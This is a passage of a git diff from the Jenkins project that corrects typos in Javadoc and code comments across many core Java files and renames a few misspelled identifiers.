+1015,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr public static abstract class CanonicalIdResolver extends AbstractDescribableImpl implements ExtensionPoint, Comparable { /** - * context key for realm (domain) where idOrFullName has been retreived from. + * context key for realm (domain) where idOrFullName has been retrieved from. * Can be used (for example) to distinguish ambiguous committer ID using the SCM URL. * Associated Value is a {@link String} */ diff --git a/core/src/main/java/hudson/model/listeners/ItemListener.java b/core/src/main/java/hudson/model/listeners/ItemListener.java index e5f88320f7..2abe38d937 100644 --- a/core/src/main/java/hudson/model/listeners/ItemListener.java +++ b/core/src/main/java/hudson/model/listeners/ItemListener.java @@ -136,7 +136,7 @@ public class ItemListener implements ExtensionPoint { /** * @since 1.446 - * Called at the begenning of the orderly shutdown sequence to + * Called at the beginning of the orderly shutdown sequence to * allow plugins to clean up stuff */ public void onBeforeShutdown() { diff --git a/core/src/main/java/hudson/model/listeners/SCMListener.java b/core/src/main/java/hudson/model/listeners/SCMListener.java index 161fb0f603..76f5e36ec8 100644 --- a/core/src/main/java/hudson/model/listeners/SCMListener.java +++ b/core/src/main/java/hudson/model/listeners/SCMListener.java @@ -51,7 +51,7 @@ import jenkins.model.Jenkins; * This is an abstract class so that methods added in the future won't break existing listeners. * *

                                                  - * Once instanciated, use the {@link #register()} method to start receiving events. + * Once instantiated, use the {@link #register()} method to start receiving events. * * @author Kohsuke Kawaguchi * @see jenkins.model.Jenkins#getSCMListeners() diff --git a/core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java b/core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java index a825594798..8621f37ceb 100644 --- a/core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java +++ b/core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java @@ -23,7 +23,7 @@ import static java.util.logging.Level.WARNING; * performs monitoring on all agents concurrently and asynchronously. * * @param - * represents the the result of the monitoring. + * represents the result of the monitoring. * @author Kohsuke Kawaguchi */ public abstract class AbstractAsyncNodeMonitorDescriptor extends AbstractNodeMonitorDescriptor { diff --git a/core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java b/core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java index c79d4ea918..ee1cd6c41d 100644 --- a/core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java +++ b/core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java @@ -49,7 +49,7 @@ import java.util.logging.Logger; * and taking some action based on its result. * * @param - * represents the the result of the monitoring. + * represents the result of the monitoring. * @author Kohsuke Kawaguchi */ public abstract class AbstractNodeMonitorDescriptor extends Descriptor { diff --git a/core/src/main/java/hudson/org/apache/tools/tar/TarInputStream.java b/core/src/main/java/hudson/org/apache/tools/tar/TarInputStream.java index d7d8a5b54d..1e532b9f31 100644 --- a/core/src/main/java/hudson/org/apache/tools/tar/TarInputStream.java +++ b/core/src/main/java/hudson/org/apache/tools/tar/TarInputStream.java @@ -53,7 +53,7 @@ public class TarInputStream extends FilterInputStream { /** * This contents of this array is not used at all in this class, - * it is only here to avoid repreated object creation during calls + * it is only here to avoid repeated object creation during calls * to the no-arg read method. */ protected byte[] oneBuf; @@ -126,7 +126,7 @@ public class TarInputStream extends FilterInputStream { * is left in the entire archive, only in the current entry. * This value is determined from the entry's size header field * and the amount of data already read from the current entry. - * Integer.MAX_VALUE is returen in case more than Integer.MAX_VALUE + * Integer.MAX_VALUE is returned in case more than Integer.MAX_VALUE * bytes are left in the current entry in the archive. * * @return The number of available bytes for the current entry. @@ -246,7 +246,7 @@ public class TarInputStream extends FilterInputStream { this.currEntry = new TarEntry(headerBuf); if (this.debug) { - System.err.println("TarInputStream: SET CURRENTRY '" + System.err.println("TarInputStream: SET currENTRY '" + this.currEntry.getName() + "' size = " + this.currEntry.getSize()); diff --git a/core/src/main/java/hudson/os/SU.java b/core/src/main/java/hudson/os/SU.java index 5998d366c0..fea373b4f1 100644 --- a/core/src/main/java/hudson/os/SU.java +++ b/core/src/main/java/hudson/os/SU.java @@ -152,7 +152,7 @@ public abstract class SU { ArgumentListBuilder args = new ArgumentListBuilder().add(javaExe); if(slaveJar.isFile()) args.add("-jar").add(slaveJar); - else // in production code this never happens, but during debugging this is convenientud + else // in production code this never happens, but during debugging this is convenient args.add("-cp").add(slaveJar).add(hudson.remoting.Launcher.class.getName()); if(rootPassword==null) { diff --git a/core/src/main/java/hudson/scheduler/BaseParser.java b/core/src/main/java/hudson/scheduler/BaseParser.java index 3e43a32d7c..e846636d6f 100644 --- a/core/src/main/java/hudson/scheduler/BaseParser.java +++ b/core/src/main/java/hudson/scheduler/BaseParser.java @@ -37,7 +37,7 @@ import jenkins.util.SystemProperties; * @author Kohsuke Kawaguchi */ abstract class BaseParser extends LLkParser { - // lower/uppser bounds of fields (inclusive) + // lower/upper bounds of fields (inclusive) static final int[] LOWER_BOUNDS = new int[] {0,0,1,1,0}; static final int[] UPPER_BOUNDS = new int[] {59,23,31,12,7}; diff --git a/core/src/main/java/hudson/search/Search.java b/core/src/main/java/hudson/search/Search.java index c817a26dbd..aba0831ae8 100644 --- a/core/src/main/java/hudson/search/Search.java +++ b/core/src/main/java/hudson/search/Search.java @@ -211,7 +211,7 @@ public class Search { } /** - * When there are mutiple suggested items, this method can narrow down the resultset + * When there are multiple suggested items, this method can narrow down the resultset * to the SuggestedItem that has a url that contains the query. This is useful is one * job has a display name that matches another job's project name. * @param r A list of Suggested items. It is assumed that there is at least one @@ -324,7 +324,7 @@ public class Search { /** * Returns {@link List} such that its get(end) - * returns the concatanation of [token_start,...,token_end] + * returns the concatenation of [token_start,...,token_end] * (both end inclusive.) */ public List subSequence(final int start) { diff --git a/core/src/main/java/hudson/security/BasicAuthenticationFilter.java b/core/src/main/java/hudson/security/BasicAuthenticationFilter.java index 3e055d2584..f0963b8c89 100644 --- a/core/src/main/java/hudson/security/BasicAuthenticationFilter.java +++ b/core/src/main/java/hudson/security/BasicAuthenticationFilter.java @@ -43,12 +43,12 @@ import java.io.IOException; import java.net.URLEncoder; /** - * Implements the dual authentcation mechanism. + * Implements the dual authentication mechanism. * *

                                                  * Jenkins supports both the HTTP basic authentication and the form-based authentication. * The former is for scripted clients, and the latter is for humans. Unfortunately, - * because the servlet spec does not allow us to programatically authenticate users, + * because the servlet spec does not allow us to programmatically authenticate users, * we need to rely on some hack to make it work, and this is the class that implements * that hack. * diff --git a/core/src/main/java/hudson/security/Permission.java b/core/src/main/java/hudson/security/Permission.java index 2bfdeb0bc9..431ad0fd1d 100644 --- a/core/src/main/java/hudson/security/Permission.java +++ b/core/src/main/java/hudson/security/Permission.java @@ -314,7 +314,7 @@ public final class Permission { // // Root Permissions. // -// These permisisons are meant to be used as the 'impliedBy' permission for other more specific permissions. +// These permissions are meant to be used as the 'impliedBy' permission for other more specific permissions. // The intention is to allow a simplified AuthorizationStrategy implementation agnostic to // specific permissions. diff --git a/core/src/main/java/hudson/slaves/ComputerLauncher.java b/core/src/main/java/hudson/slaves/ComputerLauncher.java index cbca34f3ff..603df116de 100644 --- a/core/src/main/java/hudson/slaves/ComputerLauncher.java +++ b/core/src/main/java/hudson/slaves/ComputerLauncher.java @@ -82,7 +82,7 @@ public abstract class ComputerLauncher extends AbstractDescribableImpl { public FormValidation doCheckName(@QueryParameter String value ) { String name = Util.fixEmptyAndTrim(value); if(name==null) - return FormValidation.error(Messages.NodeDescripter_CheckName_Mandatory()); + return FormValidation.error(Messages.NodeDescriptor_CheckName_Mandatory()); try { Jenkins.checkGoodName(name); } catch (Failure f) { diff --git a/core/src/main/java/hudson/slaves/RetentionStrategy.java b/core/src/main/java/hudson/slaves/RetentionStrategy.java index 90fa17331d..3d8c79e544 100644 --- a/core/src/main/java/hudson/slaves/RetentionStrategy.java +++ b/core/src/main/java/hudson/slaves/RetentionStrategy.java @@ -181,7 +181,7 @@ public abstract class RetentionStrategy extends AbstractDesc private static final Logger logger = Logger.getLogger(Demand.class.getName()); /** - * The delay (in minutes) for which the agent must be in demand before tring to launch it. + * The delay (in minutes) for which the agent must be in demand before trying to launch it. */ private final long inDemandDelay; diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 36bd1478cb..40e66914d7 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -557,7 +557,7 @@ public class SlaveComputer extends Computer { // update the data structure atomically to prevent others from seeing a channel that's not properly initialized yet synchronized(channelLock) { if(this.channel!=null) { - // check again. we used to have this entire method in a big sycnhronization block, + // check again. we used to have this entire method in a big synchronization block, // but Channel constructor blocks for an external process to do the connection // if CommandLauncher is used, and that cannot be interrupted because it blocks at InputStream. // so if the process hangs, it hangs the thread in a lock, and since Hudson will try to relaunch, diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index 5313a10c51..cbfd2b4173 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -298,7 +298,7 @@ public class Maven extends Builder { int startIndex = 0; int endIndex; do { - // split targets into multiple invokations of maven separated by | + // split targets into multiple invocations of maven separated by | endIndex = targets.indexOf('|', startIndex); if (-1 == endIndex) { endIndex = targets.length(); diff --git a/core/src/main/java/hudson/tasks/Publisher.java b/core/src/main/java/hudson/tasks/Publisher.java index f81cbdeb44..c1c8a601e2 100644 --- a/core/src/main/java/hudson/tasks/Publisher.java +++ b/core/src/main/java/hudson/tasks/Publisher.java @@ -101,7 +101,7 @@ public abstract class Publisher extends BuildStepCompatibilityLayer implements D * to include their execution time in the total build time. * *

                                                  - * So normally, that is the preferrable behavior, but in a few cases + * So normally, that is the preferable behavior, but in a few cases * this is problematic. One of such cases is when a publisher needs to * trigger other builds, which in turn need to see this build as a * completed build. Those plugins that need to do this can return true diff --git a/core/src/main/java/hudson/tasks/UserNameResolver.java b/core/src/main/java/hudson/tasks/UserNameResolver.java index 5aa7af3768..79b8bc81ab 100644 --- a/core/src/main/java/hudson/tasks/UserNameResolver.java +++ b/core/src/main/java/hudson/tasks/UserNameResolver.java @@ -58,7 +58,7 @@ public abstract class UserNameResolver implements ExtensionPoint { * *

                                                  * When multiple resolvers are installed, they are consulted in order and - * the search will be over when a name is found by someoene. + * the search will be over when a name is found by someone. * *

                                                  * Since {@link UserNameResolver} is singleton, this method can be invoked concurrently diff --git a/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java b/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java index 5ad04e76ef..1b7e8c02cc 100644 --- a/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java +++ b/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java @@ -37,7 +37,7 @@ public abstract class DownloadFromUrlInstaller extends ToolInstaller { /** * Checks if the specified expected location already contains the installed version of the tool. * - * This check needs to run fairly efficiently. The current implementation uses the souce URL of {@link Installable}, + * This check needs to run fairly efficiently. The current implementation uses the source URL of {@link Installable}, * based on the assumption that released bits do not change its content. */ protected boolean isUpToDate(FilePath expectedLocation, Installable i) throws IOException, InterruptedException { diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index 68f61ddeb4..3f4e55c813 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -160,7 +160,7 @@ public class SCMTrigger extends Trigger { /** * Run the SCM trigger with additional build actions. Used by SubversionRepositoryStatus - * to trigger a build at a specific revisionn number. + * to trigger a build at a specific revision number. * * @param additionalActions * @since 1.375 @@ -597,7 +597,7 @@ public class SCMTrigger extends Trigger { if (job == null) { return; } - // we can pre-emtively check the SCMDecisionHandler instances here + // we can preemptively check the SCMDecisionHandler instances here // note that job().poll(listener) should also check this SCMDecisionHandler veto = SCMDecisionHandler.firstShouldPollVeto(job); if (veto != null) { diff --git a/core/src/main/java/hudson/util/ByteArrayOutputStream2.java b/core/src/main/java/hudson/util/ByteArrayOutputStream2.java index 8942599afb..0425f217bd 100644 --- a/core/src/main/java/hudson/util/ByteArrayOutputStream2.java +++ b/core/src/main/java/hudson/util/ByteArrayOutputStream2.java @@ -26,7 +26,7 @@ public class ByteArrayOutputStream2 extends ByteArrayOutputStream { public void readFrom(InputStream is) throws IOException { while(true) { if(count==buf.length) { - // realllocate + // reallocate byte[] data = new byte[buf.length*2]; System.arraycopy(buf,0,data,0,buf.length); buf = data; diff --git a/core/src/main/java/hudson/util/CharacterEncodingFilter.java b/core/src/main/java/hudson/util/CharacterEncodingFilter.java index 5e7ea94d93..8a058f180f 100644 --- a/core/src/main/java/hudson/util/CharacterEncodingFilter.java +++ b/core/src/main/java/hudson/util/CharacterEncodingFilter.java @@ -90,7 +90,7 @@ public class CharacterEncodingFilter implements Filter { // containers often implement RFCs incorrectly in that it doesn't interpret query parameter // decoding with UTF-8. This will ensure we get it right. - // but doing this for config.xml submission could potentiall overwrite valid + // but doing this for config.xml submission could potentially overwrite valid // "text/xml;charset=xxx" String contentType = req.getContentType(); if (contentType != null) { diff --git a/core/src/main/java/hudson/util/ChunkedInputStream.java b/core/src/main/java/hudson/util/ChunkedInputStream.java index 5691eeb80d..0ae926f75c 100644 --- a/core/src/main/java/hudson/util/ChunkedInputStream.java +++ b/core/src/main/java/hudson/util/ChunkedInputStream.java @@ -67,7 +67,7 @@ public class ChunkedInputStream extends InputStream { /** The current position within the current chunk */ private int pos; - /** True if we'are at the beginning of stream */ + /** True if we're at the beginning of stream */ private boolean bof = true; /** True if we've reached the end of stream */ @@ -101,7 +101,7 @@ public class ChunkedInputStream extends InputStream { * is followed by a CRLF. The method returns -1 as soon as a chunksize of 0 * is detected.

                                                  * - *

                                                  Trailer headers are read automcatically at the end of the stream and + *

                                                  Trailer headers are read automatically at the end of the stream and * can be obtained with the getResponseFooters() method.

                                                  * * @return -1 of the end of the stream has been reached or the next data diff --git a/core/src/main/java/hudson/util/CompressedFile.java b/core/src/main/java/hudson/util/CompressedFile.java index fb691e298d..f2f852ca33 100644 --- a/core/src/main/java/hudson/util/CompressedFile.java +++ b/core/src/main/java/hudson/util/CompressedFile.java @@ -44,14 +44,14 @@ import com.jcraft.jzlib.GZIPInputStream; import com.jcraft.jzlib.GZIPOutputStream; /** - * Represents write-once read-many file that can be optiionally compressed + * Represents write-once read-many file that can be optionally compressed * to save disk space. This is used for console output and other bulky data. * *

                                                  * In this class, the data on the disk can be one of two states: *

                                                    *
                                                  1. Uncompressed, in which case the original data is available in the specified file name. - *
                                                  2. Compressed, in which case the gzip-compressed data is available in the specifiled file name + ".gz" extension. + *
                                                  3. Compressed, in which case the gzip-compressed data is available in the specified file name + ".gz" extension. *
                                                  * * Once the file is written and completed, it can be compressed asynchronously diff --git a/core/src/main/java/hudson/util/DescribableList.java b/core/src/main/java/hudson/util/DescribableList.java index 66c60e4435..a5e6df6280 100644 --- a/core/src/main/java/hudson/util/DescribableList.java +++ b/core/src/main/java/hudson/util/DescribableList.java @@ -200,7 +200,7 @@ public class DescribableList, D extends Descriptor> * Rebuilds the list by creating a fresh instances from the submitted form. * *

                                                  - * This version works with the the <f:hetero-list> UI tag, where the user + * This version works with the <f:hetero-list> UI tag, where the user * is allowed to create multiple instances of the same descriptor. Order is also * significant. */ @@ -249,7 +249,7 @@ public class DescribableList, D extends Descriptor> /** * {@link Converter} implementation for XStream. * - * Serializaion form is compatible with plain {@link List}. + * Serialization form is compatible with plain {@link List}. */ public static class ConverterImpl extends AbstractCollectionConverter { CopyOnWriteList.ConverterImpl copyOnWriteListConverter; diff --git a/core/src/main/java/hudson/util/DescriptorList.java b/core/src/main/java/hudson/util/DescriptorList.java index 75fedaab39..34ea3ba796 100644 --- a/core/src/main/java/hudson/util/DescriptorList.java +++ b/core/src/main/java/hudson/util/DescriptorList.java @@ -54,7 +54,7 @@ import javax.annotation.CheckForNull; *

                                                  * The other mode is the new mode, where the {@link Descriptor}s are actually stored in {@link ExtensionList} * (see {@link jenkins.model.Jenkins#getDescriptorList(Class)}) and this class acts as a view to it. This enables - * bi-directional interoperability — both descriptors registred automatically and descriptors registered + * bi-directional interoperability — both descriptors registered automatically and descriptors registered * manually are visible from both {@link DescriptorList} and {@link ExtensionList}. In this mode, * {@link #legacy} is null but {@link #type} is non-null. * diff --git a/core/src/main/java/hudson/util/DoubleLaunchChecker.java b/core/src/main/java/hudson/util/DoubleLaunchChecker.java index 801b9fe5c6..091319f712 100644 --- a/core/src/main/java/hudson/util/DoubleLaunchChecker.java +++ b/core/src/main/java/hudson/util/DoubleLaunchChecker.java @@ -61,7 +61,7 @@ import java.lang.reflect.Method; * *

                                                  * More traditional way of doing this is to use a lock file with PID in it, but unfortunately in Java, - * there's no reliabe way to obtain PID. + * there's no reliable way to obtain PID. * * @author Kohsuke Kawaguchi * @since 1.178 diff --git a/core/src/main/java/hudson/util/FormFieldValidator.java b/core/src/main/java/hudson/util/FormFieldValidator.java index 2fc8874a96..737b3ee715 100644 --- a/core/src/main/java/hudson/util/FormFieldValidator.java +++ b/core/src/main/java/hudson/util/FormFieldValidator.java @@ -133,7 +133,7 @@ public abstract class FormFieldValidator { throw new AccessDeniedException("No subject"); subject.checkPermission(permission); } catch (AccessDeniedException e) { - // if the user has hudson-wisde admin permission, all checks are allowed + // if the user has hudson-wide admin permission, all checks are allowed // this is to protect Hudson administrator from broken ACL/SecurityRealm implementation/configuration. if(!Jenkins.getInstance().hasPermission(Jenkins.ADMINISTER)) throw e; @@ -481,7 +481,7 @@ public abstract class FormFieldValidator { else warning(msg); } } catch (InterruptedException e) { - ok(); // coundn't check + ok(); // couldn't check } } diff --git a/core/src/main/java/hudson/util/FormValidation.java b/core/src/main/java/hudson/util/FormValidation.java index c6dddca183..c95e5d1da8 100644 --- a/core/src/main/java/hudson/util/FormValidation.java +++ b/core/src/main/java/hudson/util/FormValidation.java @@ -511,7 +511,7 @@ public abstract class FormValidation extends IOException implements HttpResponse } /** - * Implement the actual form validation logic, by using other convenience methosd defined in this class. + * Implement the actual form validation logic, by using other convenience methods defined in this class. * If you are not using any of those, you don't need to extend from this class. */ protected abstract FormValidation check() throws IOException, ServletException; diff --git a/core/src/main/java/hudson/util/IOUtils.java b/core/src/main/java/hudson/util/IOUtils.java index 221004fd11..39561cb19b 100644 --- a/core/src/main/java/hudson/util/IOUtils.java +++ b/core/src/main/java/hudson/util/IOUtils.java @@ -71,7 +71,7 @@ public class IOUtils { * *

                                                  * {@link InputStream#skip(long)} has two problems. One is that - * it doesn't let us reliably differentiate "hit EOF" case vs "inpustream just returning 0 since there's no data + * it doesn't let us reliably differentiate "hit EOF" case vs "inputstream just returning 0 since there's no data * currently available at hand", and some subtypes (such as {@link FileInputStream#skip(long)} returning -1. * *

                                                  diff --git a/core/src/main/java/hudson/util/ListBoxModel.java b/core/src/main/java/hudson/util/ListBoxModel.java index c880739b2c..98d75fbd9a 100644 --- a/core/src/main/java/hudson/util/ListBoxModel.java +++ b/core/src/main/java/hudson/util/ListBoxModel.java @@ -50,7 +50,7 @@ import java.util.Collection; * *

                                                  
                                                    * <select id='foo'>
                                                  - *   <option>Fetching values...</optoin>
                                                  + *   <option>Fetching values...</option>
                                                    * </select>
                                                    * 
                                                  * diff --git a/core/src/main/java/hudson/util/PersistedList.java b/core/src/main/java/hudson/util/PersistedList.java index 021605ead4..17fcc66381 100644 --- a/core/src/main/java/hudson/util/PersistedList.java +++ b/core/src/main/java/hudson/util/PersistedList.java @@ -217,7 +217,7 @@ public class PersistedList extends AbstractList { /** * {@link Converter} implementation for XStream. * - * Serializaion form is compatible with plain {@link List}. + * Serialization form is compatible with plain {@link List}. */ public static class ConverterImpl extends AbstractCollectionConverter { CopyOnWriteList.ConverterImpl copyOnWriteListConverter; diff --git a/core/src/main/java/hudson/util/ProcessTree.java b/core/src/main/java/hudson/util/ProcessTree.java index 40e30217a5..b81cfcdd2e 100644 --- a/core/src/main/java/hudson/util/ProcessTree.java +++ b/core/src/main/java/hudson/util/ProcessTree.java @@ -1110,7 +1110,7 @@ public abstract class ProcessTree implements Iterable, IProcessTree, // for some reason, I was never able to get sysctlbyname work. // if(LIBC.sysctlbyname("kern.argmax", argmaxRef.getPointer(), size, NULL, _)!=0) if(LIBC.sysctl(new int[]{CTL_KERN,KERN_ARGMAX},2, argmaxRef.getPointer(), size, NULL, _)!=0) - throw new IOException("Failed to get kernl.argmax: "+LIBC.strerror(Native.getLastError())); + throw new IOException("Failed to get kern.argmax: "+LIBC.strerror(Native.getLastError())); int argmax = argmaxRef.getValue(); diff --git a/core/src/main/java/hudson/util/RunList.java b/core/src/main/java/hudson/util/RunList.java index 8b9bd7683d..76f188856f 100644 --- a/core/src/main/java/hudson/util/RunList.java +++ b/core/src/main/java/hudson/util/RunList.java @@ -77,7 +77,7 @@ public class RunList extends AbstractList { } /** - * Createsa a {@link RunList} combining all the runs of the supplied jobs. + * Creates a a {@link RunList} combining all the runs of the supplied jobs. * * @param jobs the supplied jobs. * @param the base class of job. diff --git a/core/src/main/java/hudson/util/SequentialExecutionQueue.java b/core/src/main/java/hudson/util/SequentialExecutionQueue.java index a1cfa3ccba..1ad1915099 100644 --- a/core/src/main/java/hudson/util/SequentialExecutionQueue.java +++ b/core/src/main/java/hudson/util/SequentialExecutionQueue.java @@ -23,7 +23,7 @@ import java.util.concurrent.ExecutorService; */ public class SequentialExecutionQueue implements Executor { /** - * Access is sycnhronized by {@code Queue.this} + * Access is synchronized by {@code Queue.this} */ private final Map entries = new HashMap(); private ExecutorService executors; diff --git a/core/src/main/java/hudson/util/spring/BeanBuilder.java b/core/src/main/java/hudson/util/spring/BeanBuilder.java index 38482703fd..9c8b9485c5 100644 --- a/core/src/main/java/hudson/util/spring/BeanBuilder.java +++ b/core/src/main/java/hudson/util/spring/BeanBuilder.java @@ -147,7 +147,7 @@ public class BeanBuilder extends GroovyObjectSupport { } /** - * Retrieves the RuntimeSpringConfiguration instance used the the BeanBuilder + * Retrieves the RuntimeSpringConfiguration instance used by the BeanBuilder * @return The RuntimeSpringConfiguration instance */ public RuntimeSpringConfiguration getSpringConfig() { @@ -198,7 +198,7 @@ public class BeanBuilder extends GroovyObjectSupport { /** * This class is used to defer the adding of a property to a bean definition until later * This is for a case where you assign a property to a list that may not contain bean references at - * that point of asignment, but may later hence it would need to be managed + * that point of assignment, but may later hence it would need to be managed * * @author Graeme Rocher */ diff --git a/core/src/main/java/hudson/util/spring/RuntimeSpringConfiguration.java b/core/src/main/java/hudson/util/spring/RuntimeSpringConfiguration.java index f97f143466..e17bd0662c 100644 --- a/core/src/main/java/hudson/util/spring/RuntimeSpringConfiguration.java +++ b/core/src/main/java/hudson/util/spring/RuntimeSpringConfiguration.java @@ -171,7 +171,7 @@ interface RuntimeSpringConfiguration extends ServletContextAware { BeanConfiguration getBeanConfig(String name); /** - * Creates and returns the BeanDefinition that is regsitered within the given name or returns null + * Creates and returns the BeanDefinition that is registered within the given name or returns null * * @param name The name of the bean definition * @return A BeanDefinition diff --git a/core/src/main/java/hudson/views/ListViewColumn.java b/core/src/main/java/hudson/views/ListViewColumn.java index 06d8ba2f14..fe1a62823a 100644 --- a/core/src/main/java/hudson/views/ListViewColumn.java +++ b/core/src/main/java/hudson/views/ListViewColumn.java @@ -54,7 +54,7 @@ import net.sf.json.JSONObject; * the <td> tag. * *

                                                  - * This object may have an additional columHeader.jelly. The default ColmnHeader + * This object may have an additional columnHeader.jelly. The default ColumnHeader * will render {@link #getColumnCaption()}. * *

                                                  diff --git a/core/src/main/java/jenkins/install/InstallState.java b/core/src/main/java/jenkins/install/InstallState.java index 622a552c07..71790d3c54 100644 --- a/core/src/main/java/jenkins/install/InstallState.java +++ b/core/src/main/java/jenkins/install/InstallState.java @@ -52,7 +52,7 @@ public class InstallState implements ExtensionPoint { public static final InstallState UNKNOWN = new InstallState("UNKNOWN", true); /** - * After any setup / restart / etc. hooks are done, states hould be running + * After any setup / restart / etc. hooks are done, states should be running */ @Extension public static final InstallState RUNNING = new InstallState("RUNNING", true); @@ -151,7 +151,7 @@ public class InstallState implements ExtensionPoint { public static final InstallState TEST = new InstallState("TEST", true); /** - * Jenkins started in development mode: Bolean.getBoolean("hudson.Main.development"). + * Jenkins started in development mode: Boolean.getBoolean("hudson.Main.development"). * Can be run normally with the -Djenkins.install.runSetupWizard=true */ public static final InstallState DEVELOPMENT = new InstallState("DEVELOPMENT", true); diff --git a/core/src/main/java/jenkins/install/InstallUtil.java b/core/src/main/java/jenkins/install/InstallUtil.java index 45fb5ce3a6..9f2a150f91 100644 --- a/core/src/main/java/jenkins/install/InstallUtil.java +++ b/core/src/main/java/jenkins/install/InstallUtil.java @@ -91,7 +91,7 @@ public class InstallUtil { */ public static void proceedToNextStateFrom(InstallState prior) { InstallState next = getNextInstallState(prior); - if (Main.isDevelopmentMode) LOGGER.info("Install state tranisitioning from: " + prior + " to: " + next); + if (Main.isDevelopmentMode) LOGGER.info("Install state transitioning from: " + prior + " to: " + next); if (next != null) { Jenkins.getInstance().setInstallState(next); } diff --git a/core/src/main/java/jenkins/install/SetupWizard.java b/core/src/main/java/jenkins/install/SetupWizard.java index 6368fb4b8f..35cff955f0 100644 --- a/core/src/main/java/jenkins/install/SetupWizard.java +++ b/core/src/main/java/jenkins/install/SetupWizard.java @@ -339,7 +339,7 @@ public class SetupWizard extends PageDecorator { /** * Gets the suggested plugin list from the update sites, falling back to a local version - * @return JSON array with the categorized plugon list + * @return JSON array with the categorized plugin list */ @CheckForNull /*package*/ JSONArray getPlatformPluginList() { diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index dd3302ad33..55f8ffa9f2 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1437,7 +1437,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * @deprecated - * UI method. Not meant to be used programatically. + * UI method. Not meant to be used programmatically. */ @Deprecated public ComputerSet getComputer() { @@ -1456,7 +1456,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @SuppressWarnings({"unchecked", "rawtypes"}) // too late to fix public Descriptor getDescriptor(String id) { - // legacy descriptors that are reigstered manually doesn't show up in getExtensionList, so check them explicitly. + // legacy descriptors that are registered manually doesn't show up in getExtensionList, so check them explicitly. Iterable descriptors = Iterators.sequence(getExtensionList(Descriptor.class), DescriptorExtensionList.listLegacyInstances()); for (Descriptor d : descriptors) { if (d.getId().equals(id)) { @@ -2342,7 +2342,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // Almost everyone else except Nginx put the host and port in separate headers buf.append(host); } else { - // Nginx uses the same spec as for the Host header, i.e. hostanme:port + // Nginx uses the same spec as for the Host header, i.e. hostname:port buf.append(host.substring(0, index)); if (index + 1 < host.length()) { try { @@ -3887,7 +3887,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve String from = req.getParameter("from"); if(from!=null && from.startsWith("/") && !from.equals("/loginError")) { - rsp.sendRedirect2(from); // I'm bit uncomfortable letting users redircted to other sites, make sure the URL falls into this domain + rsp.sendRedirect2(from); // I'm bit uncomfortable letting users redirected to other sites, make sure the URL falls into this domain return; } diff --git a/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java b/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java index a36da7421b..60a2ae3c79 100644 --- a/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java +++ b/core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java @@ -293,7 +293,7 @@ public abstract class AbstractLazyLoadRunMap extends AbstractMap i } /** - * Checks if the the specified build exists. + * Checks if the specified build exists. * * @param number the build number to probe. * @return {@code true} if there is an run for the corresponding number, note that this does not mean that diff --git a/core/src/main/java/jenkins/mvn/GlobalSettingsProvider.java b/core/src/main/java/jenkins/mvn/GlobalSettingsProvider.java index aa7285eed9..9fb3e65189 100644 --- a/core/src/main/java/jenkins/mvn/GlobalSettingsProvider.java +++ b/core/src/main/java/jenkins/mvn/GlobalSettingsProvider.java @@ -24,7 +24,7 @@ public abstract class GlobalSettingsProvider extends AbstractDescribableImplnull if no settings will be provided. */ public abstract FilePath supplySettings(AbstractBuild build, TaskListener listener); diff --git a/core/src/main/java/jenkins/security/UserDetailsCache.java b/core/src/main/java/jenkins/security/UserDetailsCache.java index 2ea4fe777a..1d5f221e43 100644 --- a/core/src/main/java/jenkins/security/UserDetailsCache.java +++ b/core/src/main/java/jenkins/security/UserDetailsCache.java @@ -59,7 +59,7 @@ public final class UserDetailsCache { */ private static /*not final*/ Integer EXPIRE_AFTER_WRITE_SEC = SystemProperties.getInteger(SYS_PROP_NAME, (int)TimeUnit.MINUTES.toSeconds(2)); private final Cache detailsCache; - private final Cache existanceCache; + private final Cache existenceCache; /** * Constructor intended to be instantiated by Jenkins only. @@ -75,7 +75,7 @@ public final class UserDetailsCache { } } detailsCache = newBuilder().softValues().expireAfterWrite(EXPIRE_AFTER_WRITE_SEC, TimeUnit.SECONDS).build(); - existanceCache = newBuilder().softValues().expireAfterWrite(EXPIRE_AFTER_WRITE_SEC, TimeUnit.SECONDS).build(); + existenceCache = newBuilder().softValues().expireAfterWrite(EXPIRE_AFTER_WRITE_SEC, TimeUnit.SECONDS).build(); } /** @@ -97,7 +97,7 @@ public final class UserDetailsCache { */ @CheckForNull public UserDetails getCached(String idOrFullName) throws UsernameNotFoundException { - Boolean exists = existanceCache.getIfPresent(idOrFullName); + Boolean 